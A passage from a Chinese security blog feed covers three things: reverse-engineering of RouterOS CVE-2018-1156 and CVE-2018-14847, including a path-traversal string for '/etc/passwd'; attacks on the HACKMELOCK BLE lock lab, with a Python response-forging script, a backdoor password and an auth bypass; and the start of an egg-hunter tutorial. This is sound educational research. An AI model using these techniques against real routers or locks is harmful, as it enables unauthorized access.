<p>与<code class="language-plaintext highlighter-rouge">nv::Looper::addHandler</code>的逻辑相似,在<code class="language-plaintext highlighter-rouge">nv::Looper::dispatchMessage</code>中处理正确的handler后调用<code class="language-plaintext highlighter-rouge">nv::Handler::handle</code>,其中涉及到的<code class="language-plaintext highlighter-rouge">bff0005</code>字段代表<code class="language-plaintext highlighter-rouge">nv::isReplyExpected</code>:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2yrimbfj20g4025745.jpg" alt="" /></p>
<p><code class="language-plaintext highlighter-rouge">nv::Handler::handle</code>函数中间接调用了<code class="language-plaintext highlighter-rouge">nv::policies::is_allowed</code>来判断command是否具有相应的policy:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yrzn3wj20wm0jz0ud.jpg" alt="" /></p>
<p>在<code class="language-plaintext highlighter-rouge">set_policy</code>对应command为0时确实不需要任何认证即可调用:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yt72ufj20j408bq39.jpg" alt="" /></p>
<p>真正去处理command的函数<code class="language-plaintext highlighter-rouge">nv::Handler::handleCmd</code>实则是个大的switch-case,其把未知的命令传递给<code class="language-plaintext highlighter-rouge">nv::Handler::cmdUnknown</code>处理:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2ytm40oj20ra09bt99.jpg" alt="" /></p>
<p>对于handler 2其偏移76对应函数<code class="language-plaintext highlighter-rouge">sub_8052934</code>,也是个小型的switch-case处理未知的命令,由此可探索更多的攻击面,下一小节会分析未知命令中存在的漏洞原理。</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2yu9ya0j20xv0b776b.jpg" alt="" /></p>
<h1>0x04 漏洞分析</h1>
<p>本小节以6.38.4为例,结合PPT中两个提及的漏洞,主要逆向分析message所需字段的原因。</p>
<h2>CVE-2018-1156</h2>
<p><a href="https://github.com/tenable/routeros/tree/master/poc/cve_2018_1156">CVE-2018-1156</a>是一个需要认证的<code class="language-plaintext highlighter-rouge">/nova/bin/licupgr</code>文件的溢出,对应的System Number为55,其初始化过程中没有<code class="language-plaintext highlighter-rouge">nv::Looper::addHandler</code>的操作,直接在对应偏移处找到覆盖的<code class="language-plaintext highlighter-rouge">nv::Handler::cmdUnknown</code>来处理不同的command:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yuxj5ej20zl0b8ac3.jpg" alt="" /></p>
<p>跟进可知command 1和4均能到达目标的溢出函数<code class="language-plaintext highlighter-rouge">sub_804AC9E</code>,同时还需要传递<code class="language-plaintext highlighter-rouge">bool_id_7</code>参数:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n2yvd9z7j20oz0du3zb.jpg" alt="" /></p>
<p>剩下<code class="language-plaintext highlighter-rouge">string_id_1 username</code>和<code class="language-plaintext highlighter-rouge">string_id_2 password</code>参数导致sprintf的溢出就显而易见了:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yw87ghj20nf0kzwg2.jpg" alt="" /></p>
<h2>CVE-2018-14847</h2>
<p><a href="https://github.com/tenable/routeros/tree/master/poc/cve_2018_14847">CVE-2018-14847</a>是一个无需认证利用目录穿越实现任意文件读取的漏洞,在拿到用户凭据user.dat文件后,使用写文件操作开启系统后门。对应的<code class="language-plaintext highlighter-rouge">/nova/bin/mproxy</code>文件在初始化过程中有和前文照应的<code class="language-plaintext highlighter-rouge">nv::Looper::addHandler</code>和<code class="language-plaintext highlighter-rouge">nv::policies::set_policy</code>操作:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2ywo3vwj20ik04fmxh.jpg" alt="" /></p>
<p>System number和handler均为2,在处理command 7中将文件路径和<code class="language-plaintext highlighter-rouge">/home/web/webfig/</code>拼接传递至<code class="language-plaintext highlighter-rouge">nv::findFile</code>函数,就算是没有找到文件,其还会返回原始拼接的文件路径:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2yx3wb9j20j70dbmxs.jpg" alt="" /></p>
<p>随后其打开文件路径,并设置<code class="language-plaintext highlighter-rouge">u32_id_2</code>为文件的大小:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafgy1g2n2yxyoo4j20ji081aaj.jpg" alt="" /></p>
<p>函数返回前还有对<code class="language-plaintext highlighter-rouge">0xFE0001</code> sessionid的设置:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yxit36j20lv08eq3i.jpg" alt="" /></p>
<p>在处理完command返回消息调用<code class="language-plaintext highlighter-rouge">nv::Handler::replyMessage</code>的过程中,也有对<code class="language-plaintext highlighter-rouge">0xFF0006</code> RequestId的处理:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yyemv9j20wo0cz75g.jpg" alt="" /></p>
<p>在处理command 4时首先会验证sessionid的合法性:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafgy1g2n2yyx5ksj20l8067wes.jpg" alt="" /></p>
<p>最终根据<code class="language-plaintext highlighter-rouge">u32_id_2</code>的大小从session打开的fd中读取文件数据:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafgy1g2n2yzb7b4j20kp05emxf.jpg" alt="" /></p>
<h1>0x05 对比修复</h1>
<h2>CVE-2018-1156</h2>
<p>根据官方的<a href="https://blog.mikrotik.com/security/security-issues-discovered-by-tenable.html">公告</a>可知这个溢出漏洞在<a href="https://download.mikrotik.com/routeros/6.42.7/routeros-x86-6.42.7.npk">6.42.7</a>版本中完成修复,其使用<code class="language-plaintext highlighter-rouge">snprintf</code>函数来限制过长的用户输入:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2yzr4mij20ni0cw0tj.jpg" alt="" /></p>
<h2>CVE-2018-14847</h2>
<p>我们还是聚焦于CVE-2018-14847这个利用目录穿越读取任意文件的漏洞,因为读取得到账号密码才能进行后一步的<a href="https://github.com/tenable/routeros/tree/master/poc/bytheway">BTW</a>攻击。从官方的<a href="https://blog.mikrotik.com/security/winbox-vulnerability.html">公告</a>可知6.29 至 6.42的current版本在6.42.1中完成修复,我这里就使用6.42.4和6.38.4进行对比。</p>
<p>使用<a href="https://github.com/tenable/routeros/tree/master/poc/cve_2018_14847">PoC</a>直接去打<code class="language-plaintext highlighter-rouge">6.42.4</code>得到<code class="language-plaintext highlighter-rouge">File size is 0</code>的返回,初步推断在第一步获取文件大小时可能被直接返回了。通过对<code class="language-plaintext highlighter-rouge">/nova/bin/mproxy</code>的调试和bindiff分析,发现<code class="language-plaintext highlighter-rouge">6.42.4</code>在抵达handler 2 command 7的结构虽有改动但逻辑没有变化:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2z0bv2bj20kz0dtdgs.jpg" alt="" /></p>
<p>调试可知<code class="language-plaintext highlighter-rouge">string_id_1</code>在经过<code class="language-plaintext highlighter-rouge">tokenize</code>函数的处理后,没能通过<code class="language-plaintext highlighter-rouge">sub_8051B80</code>的校验最终报错返回了。<code class="language-plaintext highlighter-rouge">tokenize</code>函数主要是把字符串<code class="language-plaintext highlighter-rouge">//./.././.././../etc/passwd</code>分解为<code class="language-plaintext highlighter-rouge">{".", "..", ".", "..", ".", "..", "etc", "passwd"} </code>这样的vector string。对于<code class="language-plaintext highlighter-rouge">6.42.4</code>patch的关键就在于<code class="language-plaintext highlighter-rouge">sub_8051B80</code>函数了:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2z0sg6nj20lw0gg0tq.jpg" alt="" /></p>
<p>大致的逻辑就是遇到<code class="language-plaintext highlighter-rouge">"."</code>就删除,遇到<code class="language-plaintext highlighter-rouge">"larry", ".."</code>就一起删除这两项,但在删除后的遍历操作中如果遇到<code class="language-plaintext highlighter-rouge">".."</code>打头,则认为是存在目录穿越的利用,无法通过校验。</p>
<p>反观<code class="language-plaintext highlighter-rouge">6.38.4</code>中的对应逻辑,也是不允许<code class="language-plaintext highlighter-rouge">".."</code>打头,但没有照顾到<code class="language-plaintext highlighter-rouge">"."</code>,就产生了作者使用<code class="language-plaintext highlighter-rouge">./../</code>的绕过方式:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafgy1g2n2z18upgj20me0gidgs.jpg" alt="" /></p>
<p>由于command 4的读取任意文件需要command 7打开文件的fd和返回的session id,一旦读取的文件路径无法通过校验,后续操作自然无法成功利用了。</p>
<h1>0x06 总结哈子</h1>
<ul>
<li>全文看下来虽说是逆向分析但难免有些钻牛角尖,局部的逆向是为了快速分析理解漏洞,全局的逆向分析则为了理解程序后端逻辑和寻找攻击面,也不可能锱铢必较。</li>
<li>大体可以看出两点攻击面,一是自定义消息的处理解析,而是后端程序未知命令的处理逻辑。</li>
<li>最近也有一篇RouterOS SMB服务溢出利用的<a href="https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1">Write Up</a>,其将注意力放在了不是默认开启的SMB服务上,并快速使用dumb fuzz出crash也是个不错的尝试思路。</li>
</ul>
Larryxi
0x00 再续前言 天才少年“Diveing to the deep water”的言论让我打了个机灵,于是想看看大型一点的IoT项目上的安全问题,就这样我和Bug Hunting in RouterOS相遇了。议题中介绍了RouterOS的版本架构、历史研究和开发者后门,作者通过对通信解析的逆向介绍了客户端命令传递至后端的处理过程,最后组合漏洞链完成RCE的利用。不久之后,作者还写了一篇文章蜻蜓点水地补充了一点小细节和提供了利用开发的架构工具,也有同学对整个议题的内容深入分析了一番。
BLE安全初探之HACKMELOCK
2018-11-24T00:00:00+00:00
2018-11-24T00:00:00+00:00
https://larryxi.github.io/2018/11/24/ble-sec-hackmelock
<h1>0x00 环境搭建</h1>
<p>低功耗蓝牙技术(Bluetooth Low Energy)作为一种无线通信技术,其设计目标和实现与经典蓝牙技术有很大的不同,关于其的概述和技术细节可以参考文末的链接和著作。本文会结合书本知识对其中的协议数据包进行备注,以加深对主从设备交互流程的理解,进一步探索针对某BLE应用的攻击方式。</p>
<!-- more -->
<p>环境主从设备的选取是参考<a href="https://smartlockpicking.com/hackmelock/">BLUETOOTH SMART HACKMELOCK</a>提供的仿真环境,其在树莓派中用nodejs搭建了一个虚拟的BLE门锁,专门写了一个Android app来对这个门锁进行操作,两端都遗留了一些安全问题供我们后续探索学习。</p>
<p><a href="https://weibo.com/unicornteam">UnicornTeam</a>曾经讲过无线通信的攻击手段可以分为监听、重放、欺骗和劫持攻击。个人感觉先要嗅探相关流量进行理解分析才能知己知彼有所突破,厚着脸皮向大佬团队借了一个<a href="https://www.nordicsemi.com/eng/Products/ANT/nRF51422">nRF51422</a>来对BLE进行嗅探,其文档<a href="https://www.nordicsemi.com/eng/nordic/download_resource/65244/3/23454585/136165">nRF-Sniffer-UG-v2</a>也写得很清楚,所以最终构建的环境如图所示(同时也感谢<a href="https://weibo.com/u/5306621349">Tesi1a</a>同学友情赞助的树莓派):</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1fxj2g0scroj22c02c0npd.jpg" alt="" /></p>
<h1>0x01 流程探索</h1>
<p>上文搭建的虚拟环境中APP点击相关功能,服务端响应后在控制台也可以看到一定的log输出,方便我们理解协议的交互,接下来我会配合捕获的流量进行解释,数据包流量也已备份至<a href="https://github.com/Larryxi/My_tools/tree/master/ble_hackmelock">Github</a>。低功耗蓝牙的体系结构如下:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g176ntj20f60axtcc.jpg" alt="" /></p>
<h2>广播建立连接和发现服务特性</h2>
<p>建立起虚拟门锁从设备后,其就在不停地广播。广播报文的类型有7种,用途比较广泛的类型是ADV_IND通用广播指示,广播报文的大致结构如下:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g1itj5j20fo0csn0q.jpg" alt="" /></p>
<p>在数据包中也可以看到很多树莓派的广播报文:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1fxj2g1ttogj20xd0c576r.jpg" alt="" /></p>
<p>打开手机App在被动扫描接收到所需的广播报文后,便会发起连接请求:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1fxj2g26krnj20yq0bi0v8.jpg" alt="" /></p>
<p>主从设备在进入连接态后就会发送数据报文进行通信,数据报文格式和广播报文格式略有不同:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g2gke0j20ia0cz427.jpg" alt="" /></p>
<p>数据报文中的逻辑链路标识符LLID把数据报文分成三种类型,其中链路层控制报文(11)用于管理连接,如下的数据包便是在管理连接中的版本交换:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g2tap5j20xs0cl0vw.jpg" alt="" /></p>
<p>不仅是只有链路层的数据包,两个设备的上层服务还是会通过L2CAP信道(数据包序列),其结构如下:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g38626j20hj06ogmu.jpg" alt="" /></p>
<p>低功耗蓝牙一共使用3条信道,如下的L2CAP数据包则是低功耗信令信道的数据包,用于主机层的信令:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1fxj2g3hs4rj20xo0bdwgw.jpg" alt="" /></p>
<p>属性层和通用属性规范层作为BLE的核心概念,一个是抽象协议一个是通用配置文件。属性通俗地来讲就是一条有标签的、可以被寻址的数据,其结构如下:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1fxj2g3saukj20j703x74z.jpg" alt="" /></p>
<p>在低功耗蓝牙中特性是由一种或多种属性组成,服务是由一种或多种特性组成,并且是由服务声明来对服务进行分组,用特性声明来对特性进行分组。服务和特性的发现由通用属性规范规定,具体则表现为不同类型的属性协议,如下的数据包便是按组类型读取请求来读取首要服务声明:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1fxj2g4jh1dj210o09mdhv.jpg" alt="" /></p>
<p>响应则是所有首要服务声明的属性句柄、该首要服务中最后一个属性以及首要服务声明的数值:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1fxj2g48rdoj210p09z767.jpg" alt="" /></p>
<p>类似的,对于每一个服务也会有发现特性的请求和响应:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g4xjj8j210o0audhz.jpg" alt="" /></p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1fxj2g578j7j210o0bc0vo.jpg" alt="" /></p>
<p>在数据包中分开看请求的服务和特性可能不是太方便,可以借助<a href="https://github.com/evilsocket/bleah">bleah</a>直接枚举设备上的所以属性:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1fxj2g5n652j20xl0ekwx2.jpg" alt="" /></p>
<h2>门锁初始化配置</h2>
<p>门锁的初始化配置在服务端控制台的输出如下:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1fxj2g65r0cj20ik0f0wrn.jpg" alt="" /></p>
<p>在数据包上的表现就是先对从设备的0x0013 handler进行读取请求,得到响应值后开始对0x000c handler进行一系列的写入请求,一共写入了24个序列完成初始化阶段:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g6qccvj20z90dan1a.jpg" alt="" /></p>
<h2>开关锁操作</h2>
<p>开关锁的操作在服务端控制台的输出上看,貌似是有一个内部的认证过程:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g71nurj20lf0bedq7.jpg" alt="" /></p>
<p>首先读取0x0013 handler读取一个random challenge,将响应写入0x000c handler,如果通过了认证则可以进行开关锁的操作,并且开关锁向handler中写入的值也是固定的:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1fxj2g7c0ckj20z90cb0wp.jpg" alt="" /></p>
<h2>认证凭据重置</h2>
<p>这个功能在服务端上被称为Data transfer,通过接收一条命令触发,并重新生成了24个序列通知客户端:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g7pzuwj20j90hxqiv.jpg" alt="" /></p>
<p>在数据包上可以看到还有对0x0010 handler的写入请求,向0x000c写入的则是数据重传命令:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1fxj2g849qej210l0atn1v.jpg" alt="" /></p>
<h1>0x02 攻击方式</h1>
<h2>流程探索</h2>
<p>流程中比较感兴趣的就是内部实现的认证和数据重传部分,首先猜测不经过认证直接写入数据重传指令是否可以重置门锁,这里借助gatttool进行BLE的连接和请求:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1fxj2g8gf91j2115085dkd.jpg" alt="" /></p>
<p>很遗憾是需要认证的,那我们就需要分析服务端或者客户端的程序,逆向出认证的具体流程。上jeb反编译apk,根据auth字符串定位至认证相关逻辑。可知在接收Challenge后,和v7一起传入<code class="language-plaintext highlighter-rouge">hackmelockDevice.calculateResponse</code>方法,正常的开锁流程会使v7为1,通过二维码分享的开锁流程会使v7为2:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2g8tet6j20qa0c53z6.jpg" alt="" /></p>
<p>跟进去可知,根据不同的keyID对Challenge进行两次AES加密计算出响应:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1fxj2g94fv1j20ng0frjse.jpg" alt="" /></p>
<p>而其中的keys数组则是在最开始初始化门锁中传递的23个序列:</p>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1fxj2g9hrsjj20ok0gt0ty.jpg" alt="" /></p>
<p>对于keyID为0的序列tohex为12个字节,后面用空字符补齐16字节,进行两次AES加密用python代码还是很简单就实现了:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">binascii</span> <span class="kn">import</span> <span class="n">a2b_hex</span><span class="p">,</span> <span class="n">b2a_hex</span>
<span class="k">def</span> <span class="nf">calc</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">challenge</span><span class="p">):</span>
<span class="n">plaint_1</span> <span class="o">=</span> <span class="n">a2b_hex</span><span class="p">(</span><span class="n">challenge</span><span class="p">)</span>
<span class="n">key_1</span> <span class="o">=</span> <span class="n">a2b_hex</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">aes_1</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key_1</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">cipher_1</span> <span class="o">=</span> <span class="n">aes_1</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">plaint_1</span><span class="p">)</span>
<span class="k">print</span> <span class="n">b2a_hex</span><span class="p">(</span><span class="n">cipher_1</span><span class="p">)</span>
<span class="n">plaint_2</span> <span class="o">=</span> <span class="n">a2b_hex</span><span class="p">(</span><span class="s">"DDAAFF03040506070809101112131415"</span><span class="p">)</span>
<span class="n">key_2</span> <span class="o">=</span> <span class="n">cipher_1</span>
<span class="n">aes_2</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key_2</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">cipher_2</span> <span class="o">=</span> <span class="n">aes_2</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">plaint_2</span><span class="p">)</span>
<span class="k">print</span> <span class="n">b2a_hex</span><span class="p">(</span><span class="n">cipher_2</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">></span> <span class="mi">2</span><span class="p">:</span>
<span class="n">calc</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
</code></pre></div></div>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1fxj2g9wktmj211r0c2dmo.jpg" alt="" /></p>
<h2>服务端后门</h2>
<p><a href="https://github.com/smartlockpicking/hackmelock-device">服务端代码</a>是用nodejs写的,看起来比安卓逆向轻松多了,在服务端留下了一个后门可以使用特定密码直接通过认证:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="nx">authResponse</span> <span class="o">===</span> <span class="nx">fin_16</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="dl">'</span><span class="s1">hex</span><span class="dl">'</span><span class="p">))</span> <span class="o">||</span> <span class="p">(</span><span class="nx">authResponse</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">4861636b6d654c6f636b4d6173746572</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">AUTHENTICATION OK!</span><span class="dl">'</span><span class="p">.</span><span class="nx">green</span><span class="p">);</span>
<span class="k">this</span><span class="p">.</span><span class="nx">authenticated</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="k">this</span><span class="p">.</span><span class="nx">status</span> <span class="o">=</span> <span class="nx">statusAuthenticated</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p><img src="https://wx2.sinaimg.cn/large/ee2fecafly1fxj2ga85dtj211r07itdm.jpg" alt="" /></p>
<h2>认证代码缺陷</h2>
<p>最开始按照正常的加密逻辑,向0x000c handler写入response总是认证不通过,对比在app上操作的控制台输出,发现其在计算出的response后多加了一个<code class="language-plaintext highlighter-rouge">00</code>,幡然醒悟最后一个写入的字符就是用来指示keyID的。而在服务端代码中,其不仅加载了初始化时传递的23个key,还以<code class="language-plaintext highlighter-rouge">00</code>扩展至128个:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Hackmelock</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">loadConfig</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">configFile</span><span class="p">)</span> <span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="nx">config</span> <span class="o">=</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="nx">configFile</span><span class="p">).</span><span class="nx">toString</span><span class="p">().</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="se">\n</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">//pop last empty line</span>
<span class="k">this</span><span class="p">.</span><span class="nx">config</span><span class="p">.</span><span class="nx">pop</span><span class="p">();</span>
<span class="k">for</span> <span class="p">(</span><span class="nx">i</span><span class="o">=</span><span class="k">this</span><span class="p">.</span><span class="nx">config</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o"><</span><span class="mi">128</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="nx">config</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="dl">'</span><span class="s1">000000000000000000000000</span><span class="dl">'</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>
<p>如果我们将keyID指示得过大,那么第一轮AES加密的key就已经确定了,相应的认证措施也就失效了:</p>
<p><img src="https://wx1.sinaimg.cn/large/ee2fecafly1fxj2gat1kqj211r0ck44p.jpg" alt="" /></p>
<h2>二维码信息泄露</h2>
<p>App中还有个Share功能,旨在向他人提供临时开关锁的权限:</p>
<p><img src="https://wx3.sinaimg.cn/large/ee2fecafly1fxj2gb8p3yj20u01hcmzv.jpg" alt="" /></p>
<p>从App逆向的结果来看,二维码中会保存keyID为1的序列,有了任意的key就不存在权限和时间的限制了。如上的二维扫出的结果就是<code class="language-plaintext highlighter-rouge">576C0603:4CE495E48D0BF00BF1BC85F3:1:1542885650:1542902400</code>,与之前数据传输的记录相符:</p>
<p><img src="https://wx4.sinaimg.cn/large/ee2fecafly1fxj2gbv4shj20l209v3z0.jpg" alt="" /></p>
<h2>其他</h2>
<ol>
<li><a href="https://github.com/smartlockpicking/hackmelock-device/blob/master/hackmelock.js#L173">服务端代码</a>中使用<code class="language-plaintext highlighter-rouge">Math.random()</code>来生成随机数,但这种方法并不是<a href="https://stackoverflow.com/questions/5651789/is-math-random-cryptographically-secure">cryptographically-secure</a>,可能会被预测但我个人暂未想出来合适的攻击场景。</li>
<li>作者还提示存在命令注入的问题,我对nodejs和安卓了解的不多,感兴趣的同学可以探索一下。</li>
</ol>
<h1>0x03 总结参考</h1>
<h2>总结</h2>
<ol>
<li>Android上也可以对蓝牙进行<a href="https://blog.csdn.net/wangbf_java/article/details/81269149">抓包</a>,不过是主设备上HCI信道的数据包,看起来可能不是太直接。</li>
<li>上面的虚拟门锁的使用的是默认安全级别,链路没有加密和认证配对的操作,深入探究的话可以使用工具进行中间人和重放攻击的尝试,smartlockpicking团队提供的<a href="http://smartlockpicking.com/slides/BruCON0x09_2017_Hacking_Bluetooth_Smart_locks.pdf">培训讲义</a>还是很值得学习一下的。</li>
<li>换一种角度看,喜欢做练习的同学可以尝试一下<a href="http://www.hackgnar.com/2018/06/learning-bluetooth-hackery-with-ble-ctf.html">BLE CTF</a>,当然挖掘BLE相关的<a href="https://mp.weixin.qq.com/s/cu-DCXuqJ50YRTFDmBUrtA">漏洞</a>也是有可能的。</li>
</ol>
<h2>参考</h2>
<ul>
<li><a href="https://book.douban.com/subject/26297532/">低功耗蓝牙开发权威指南</a></li>
<li><a href="https://smartlockpicking.com/hackmelock/">BLUETOOTH SMART HACKMELOCK</a></li>
<li><a href="http://drops.xmd5.com/static/drops/tips-10109.html">物联网安全拔“牙”实战——低功耗蓝牙(BLE)初探</a></li>
<li><a href="https://sec.xiaomi.com/article/38">BLE安全入门及实战(1)</a></li>
<li><a href="http://smartlockpicking.com/slides/Hardwear_2018_BLE_Security_Essentials.pdf">Hardwear_2018_BLE_Security_Essentials</a></li>
</ul>
Larryxi
0x00 环境搭建 低功耗蓝牙技术(Bluetooth Low Energy)作为一种无线通信技术,其设计目标和实现与经典蓝牙技术有很大的不同,关于其的概述和技术细节可以参考文末的链接和著作。本文会结合书本知识对其中的协议数据包进行备注,以加深对主从设备交互流程的理解,进一步探索针对某BLE应用的攻击方式。
Learn Corelan Exploit Writing Part 8
2018-09-30T00:00:00+00:00
2018-09-30T00:00:00+00:00
https://larryxi.github.io/2018/09/30/learn-corelan-exploit-writing-part-eight
<h1>0x00 环境准备</h1>
<p>苏格拉底说:人类的幸福和欢乐在于奋斗,而最有价值的是为了理想而奋斗。<a href="https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/">Part8</a>主要介绍的是egg hunter的一种技术,本质上来讲就是一种执行shellcode的方法,利用SEH、函数API或者系统调用来规避非法地址访问,找到egg后并跳转执行。根据漏洞环境的情况也可以发展为omelet egg hunter,虽然漏洞利用中这两个技术不太常见,但对漏洞利用的思维还是有开阔作用的。</p>
<!-- more -->
<p>本文在原文的基础上总结了一下egg hunter的特点,对案例漏洞的原理细致分析了一下,把之前unicode部分的example 2的漏洞结合egg hunter也进行了实践利用。本文的实验环境还是win7-en-x86,未开启ASLR和DEP保护。</p>
<h1>0x01 原理综述</h1>
<p>在搜索内存过程中可能会遇到大量的未分配内存,所以egg hunter应该有以下3个特点:</p>
<ol>
<li>健壮性:必须能够搜索无效的内存区域,或者说处理搜索内存过程中遇到的异常。</li>
<li>足够小:漏洞利用过程中使用egg hunt这项技术的本质要求。</li>
<li>尽量快:在不影响1、2点的情况下,搜索内存的过程要尽量快。</li>
</ol>
<p>如果仅使用4字节来辨认egg,那么可能出现收集到egg hunter自身代码的情况,所以一般使用8字节作为egg。</p>
<p>一般来说egg hunter找到egg就会跳转执行,egg部分也会作为无关汇编代码执行,可以减少计算偏移的字节开销。</p>
<p><strong>SEH</strong></p>
<ol>
<li>原理:使用<code class="language-plaintext highlighter-rouge">call</code>指令获取自定义SEH handler地址并安装SEH链;使用<code class="language-plaintext highlighter-rouge">repe scasd</code>来搜索egg并跳转edi执行;自定义handler中越过异常地址(4k大小)并返回ExceptionContinueExecution继续执行。</li>
<li>优点:由于是系统特性故适用于所有的Windows操作系统;使用ecx作为比较的计数器,可以用来搜索大于8字节的egg。</li>
<li>缺点:代码量有点大;多次处理异常可能导致速度降低;无法处理不是egg hunter引起的异常。</li>
</ol>
<p><strong>IsBadReadPtr</strong></p>
<ol>
<li>原理:使用<a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-isbadreadptr">IsBadReadPtr</a>函数判断是否可以访问某page,然后借助<code class="language-plaintext highlighter-rouge">scasd</code>指令两次判断四字节egg,相符则跳转edi执行。</li>
<li>优点:代码量较小;如果未来的Windows版本不弃用该API则具有一定的健壮性。</li>
<li>缺点:需要知道IsBadReadPtr函数的地址,不同操作系统上该地址也不同;如果在验证时某内存地址是合法的,但同时另一个线程释放了该地址,那么egg hunter再去访问时就有可能引发异常。</li>
</ol>
<p><strong>NtDisplayString</strong></p>
<ol>
